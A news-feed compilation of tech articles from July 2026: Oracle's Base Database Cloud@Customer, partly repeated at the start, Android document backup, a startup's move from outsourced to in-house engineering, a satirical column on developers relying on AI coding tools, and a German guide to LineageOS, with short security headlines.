Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”



The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.



Private AI behind the firewall



Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.



“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.



More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.



Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.



The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”



Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”



Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.



However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.



Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”



The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.



Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.



This article first appeared on CIO.



Oracle expands Cloud@Customer with new database service for mid-sized workloads
Wed, 22 Jul 2026 19:49:12 +0200

		
					  
						




Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.



The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.



The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.



For regulated industries or restricted connectivity



Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.



These enterprises, according to Ashish Chaturvedi, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.



The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a full Exadata rack, said Amit Chandak, chief analytics officer at IT consulting firm Kanerika.



In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.



Deployment and maintenance becomes easier too, said Michael Leone, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”



The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.



Private AI behind the firewall



Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.



“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.



More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said Igor Ikonnikov, advisory fellow at Info-Tech Research Group.



Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.



The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst Noel Yuhanna. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”



Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”



Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.



However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.



Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”



The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.



Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.



[$] Save and restore may be coming to GNOME
Wed, 22 Jul 2026 19:14:19 +0200
One of the features that users often miss when moving from X11 to Wayland is
the ability to save and restore the position of windows between sessions. At GUADEC 2026, held in
A Coruña, Spain, Adrian Vovk provided an overview of work that has gone
into providing a platform-wide save and restore framework for GNOME. After two
failed attempts at landing an API, he believes that the third try will be the
one to succeed—though not in time for the upcoming GNOME 51 release
due in October.


Russische Hacker stehlen Signal Recovery Keys per Phishing - Security-Insider
Wed, 22 Jul 2026 16:30:40 +0200
Russische Hacker stehlen Signal Recovery Keys per Phishing. UNC5792 und UNC4221 Russische Geheimdienste zielen auf Signal Backup Keys. 22.07.2026 ...


Russische Geheimdienste zielen auf Signal Backup Keys
Wed, 22 Jul 2026 16:30:12 +0200
Russische Geheimdienste greifen gezielt Signal Backup Recovery Keys an, um dauerhaften Zugriff auf Konten zu erlangen. Regierungsmitarbeiter und Journalisten sind besonders gefährdet, schnelles Handeln bei Verdachtsfällen ist wichtig.


US firm launches vision-restoring implant with EU approval
Wed, 22 Jul 2026 14:47:29 +0200
Prima is a thin photovoltaic sub-retinal implant that can restore vision for those with geographic atrophy.
Read more: US firm launches vision-restoring implant with EU approval


FBI Warns Scammers Use AI Deepfakes and Fake IC3 Websites to Target Fraud Victims
Wed, 22 Jul 2026 12:24:54 +0200
The FBI has issued a new Public Service Announcement warning of an evolving fraud campaign in which threat actors impersonate the Internet Crime Complaint Center (IC3) and FBI personnel to re-target victims using AI-generated deepfakes and spoofed websites. Released on July 20, 2026, the alert highlights a significant escalation in recovery scam tactics, where cybercriminals […]
The post FBI Warns Scammers Use AI Deepfakes and Fake IC3 Websites to Target Fraud Victims appeared first on Cyber Security News.


[NEU] [mittel] Veeam Backup & Replication: Schwachstelle ermöglicht Privilegieneskalation
Wed, 22 Jul 2026 12:24:45 +0200
Ein lokaler Angreifer kann eine Schwachstelle in Veeam Backup & Replication ausnutzen, um seine Privilegien zu erhöhen.


Your instant Android backup upgrade
Wed, 22 Jul 2026 12:02:52 +0200

		
					  
						




Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.



One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.



Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.



Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.



All you’ve gotta do is find and flip that one new switch.



[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]



The Android backup lowdown



So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.



‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.



Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.



Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.



That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.



See?


The easily overlooked new option for backing up documents on Android.
JR Raphael, Foundry



The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)



Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.



Lemme show ya how.



Android’s document backup addition



I promise: This couldn’t be much simpler.



No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)



Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.



However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.


Android’s expanded list of backup options — now including documents alongside other forms of on-device data.
JR Raphael, Foundry



And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.



If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.



Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.



Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.



But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.



Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.



Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.



From outsourcing to ownership: How we brought development in-house without breaking delivery
Wed, 22 Jul 2026 11:11:54 +0200

		
					  
						




Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but fair questions about IP ownership, operational dependencies and long-term scalability.



Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as insourcing, repatriating or backsourcing) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.



Building an internal engineering organization while still delivering



One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.



When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.



Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.



After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.



At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.



The next challenge was hiring.



In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a product engineering model, where engineers owned broader product outcomes rather than narrowly defined technical functions.



During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.



I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.



Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.



The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH & CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.



Managing risk without slowing down the business



The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.



To reduce delivery risk, we approached the transition in layers.



First, we focused on infrastructure reliability and operational readiness before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.



Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.



Third, we became extremely disciplined about scope management. One of the most common reasons insourcing initiatives fail is uncontrolled change during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.



Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.



By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.



A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.



My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.



The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.



Lessons learned for CTOs considering insourcing



Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.



The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.



Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.



Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.



The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Seven sins of the modern software developer
Wed, 22 Jul 2026 11:04:50 +0200

					  
						




If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”



But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on LLMs. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make Fred Brooks blush.



Let’s just be honest about what is actually happening.



Esoteric knowledge is superfluous



Forget OOP and FP. Forget the CAP theorem, the holy crusade of DRY, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). 



Of course, I exaggerate. A little.



The docs are dead to us



We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. Stack Overflow, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.



Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.



We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.



We ignore how the back end is wired



We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.



It created security rules we don’t fully understand. They do seem to work, however, which is nice. 



It generated a schema that we skimmed for about four seconds. It looks reasonable.



It wrote infrastructure-as-code scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.



We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.



We understand that management is also using AI to manage the project.



Our tests are uncomfortably incestuous



Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See The Grug Brained Developer in this regard.)



But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?



We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked the exact same AI to write the test suite to validate the code it just dreamed up.



It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.



And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.



We pass off the AI’s architecture as strategy



AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.



When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.



What we don’t mention is that we spent exactly four seconds generating it.



Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.



We’re addicted to vibe coding (but only in secret)



We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about vibe coding their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.



But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working Ultima V clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.



The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. 



We beat the problem into submission with prompts



Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: 




This problem is not fixed. Look at it closely. The error is right here.




To the desperate: 




We have been working on this same problem for hours now!




To the pathetic: 




Can’t you find a different approach to try?!




The astonishing part? It often works.



But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.




What we have here is a failure to communicate! 




We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.



In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.



A blacker box



The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.



And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. 



It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.



Wie Sie Android 17 auf nicht unterstützten Geräten installieren
Wed, 22 Jul 2026 10:34:27 +0200





Smartphones werden heutzutage oft nicht deshalb ausgemustert, weil ihre Hardware versagt. Häufig ist es der fehlende Software-Support, der Nutzer zum Neukauf zwingt: Nach wenigen Jahren gibt es keine großen Android-Updates mehr, Sicherheitslücken bleiben offen und neue Apps setzen irgendwann eine aktuellere Systemversion voraus.



Dabei steckt in vielen älteren Geräten noch genug Leistung für den Alltag. Alternative Betriebssysteme (Custom-ROMs) bieten hier einen Ausweg: Sie verlängern die Lebensdauer von Smartphones, liefern Sicherheitsupdates und machen Schluss mit überladenen Hersteller-Oberflächen. Dank neuer Webinstaller im Browser ist dieser Einstieg heute einfacher als je zuvor – allerdings ist die Community aktuell in zwei Welten geteilt.



Während das besonders sichere GrapheneOS das brandneue Android 17 ausschließlich auf (ältere) Google-Pixel-Handys bringt, versorgt das flexiblere LineageOS weit über 100 Modelle anderer Hersteller mit dem ausgereiften Android 16. Die aktuelle Version LineageOS 23 bringt das Google-System auf Geräte, die offiziell längst keine Updates mehr erhalten. An der Nachfolge-Version LineageOS 24 (auf Basis von Android 17) feilt das Team bereits im Hintergrund – ein fester Veröffentlichungstermin steht community-typisch allerdings noch nicht fest.



LineageOS: Android 16 ohne Herstellerballast


Offizielle Anlaufstelle im Netz: Auf der Homepage von LineageOS finden Nutzer neben den Downloads auch die Ankündigungen zu den aktuellen Updates von Juli 2026.
LineageOS



LineageOS ist ein alternatives Android-Betriebssystem, das auf dem offenen Android-Quellcode (AOSP) basiert und in der aktuellen Version LineageOS 23 auf Android 16 setzt. Entwickelt wird es nicht von einem Hersteller, sondern von einer internationalen Community. Das Ziel: Smartphones länger aktuell halten und Nutzern mehr Kontrolle über ihre Geräte geben.



Entstanden ist LineageOS 2016 als Nachfolger des bekannten Custom-ROMs CyanogenMod. Seitdem hat sich das Projekt zu einer der wichtigsten Android-Alternativen entwickelt. Unterstützt werden zahlreiche Smartphones verschiedener Hersteller – darunter Modelle von Samsung, Xiaomi, Motorola, Sony, OnePlus und Google.



Der große Vorteil gegenüber der Original-Software vieler Hersteller: LineageOS kommt ohne zusätzliche Apps, Werbung oder unnötige Dienste. Nutzer entscheiden selbst, welche Bestandteile sie installieren möchten. Wer Google-Dienste benötigt, kann ein passendes Paket nachrüsten. Wer möglichst wenig Daten mit Google teilen möchte, kann das System auch weitgehend ohne Google verwenden.



Zu den wichtigsten Vorteilen gehören:




aktuelle Android-Versionen auch für ältere Geräte



regelmäßige Sicherheitsupdates



weniger vorinstallierte Hersteller-Apps



mehr Datenschutz und Kontrolle



zahlreiche Anpassungsmöglichkeiten




Damit eignet sich LineageOS besonders für Nutzer, die ihr Smartphone länger verwenden möchten, statt ein technisch noch gutes Gerät wegen fehlender Updates auszutauschen.



Moderne Android-Versionen bringen neue Funktionen auf alte Handys



Egal ob Sie mit dem aktuellen LineageOS 23 auf Android 16 setzen oder als Pixel-Nutzer via GrapheneOS bereits Android 17 nutzen (worauf LineageOS 24 künftig ebenfalls aufbauen wird): Der Wechsel von einem älteren Android verspricht viel mehr als nur eine neue Versionsnummer. Die aktuellen Generationen bringen zahlreiche Verbesserungen bei Sicherheit, Bedienung und Effizienz auf ausgemusterte Geräte.



Gerade ältere Smartphones profitieren von optimierten Hintergrundprozessen und einem schlankeren System. Das kann sich positiv auf die Geschwindigkeit und den Energieverbrauch auswirken – insbesondere bei Geräten, deren Original-Software mit den Jahren immer umfangreicher geworden ist.



Außerdem erhalten Nutzer aktuelle Sicherheitsmechanismen und die neuesten Android-Sicherheitspatches. LineageOS integriert diese regelmäßig in seine Builds und versucht, Verbesserungen auch auf ältere unterstützte Versionen zurückzuführen.


Update-Roadmap der Community: Die Infografik zeigt, wie weit das LineageOS-Team Sicherheits-Patches für ältere LineageOS-Zweige (14 bis 20) zurückportiert und welche Versionen Upstream-Support genießen.
LineageOS 



Die Entwickler haben außerdem die hauseigene Update-App überarbeitet. Sie orientiert sich nun stärker an Googles aktueller Designsprache und zeigt vor einem Update die enthaltene Sicherheitsstufe des Android Security Bulletin an. Dadurch sehen Nutzer transparenter, welche Schutzmaßnahmen mit dem jeweiligen Update installiert werden. Zudem werden System-Updates ab sofort standardmäßig gestreamt. Das schont den oft knappen Speicherplatz älterer Geräte und beschleunigt den Installationsprozess.



Unterstützte Geräte: Nicht jedes Smartphone eignet sich



Der wichtigste Schritt vor der Installation lautet: Prüfen Sie, ob Ihr Smartphone überhaupt unterstützt wird. Nicht jedes Android-Gerät lässt sich mit LineageOS betreiben.



Die offizielle Geräteliste finden Sie im LineageOS-Wiki. Dort sind alle kompatiblen Modelle inklusive Installationsanleitung, Downloads und gerätespezifischen Hinweisen aufgeführt.


Augen auf beim Modellcode: Das LineageOS-Wiki listet kompatible Smartphones anhand exakter Modellvarianten und interner Codenamen auf. Das ist wichtig, weil sich die Hardware manchmal im Detail unterscheidet.
LineageOS



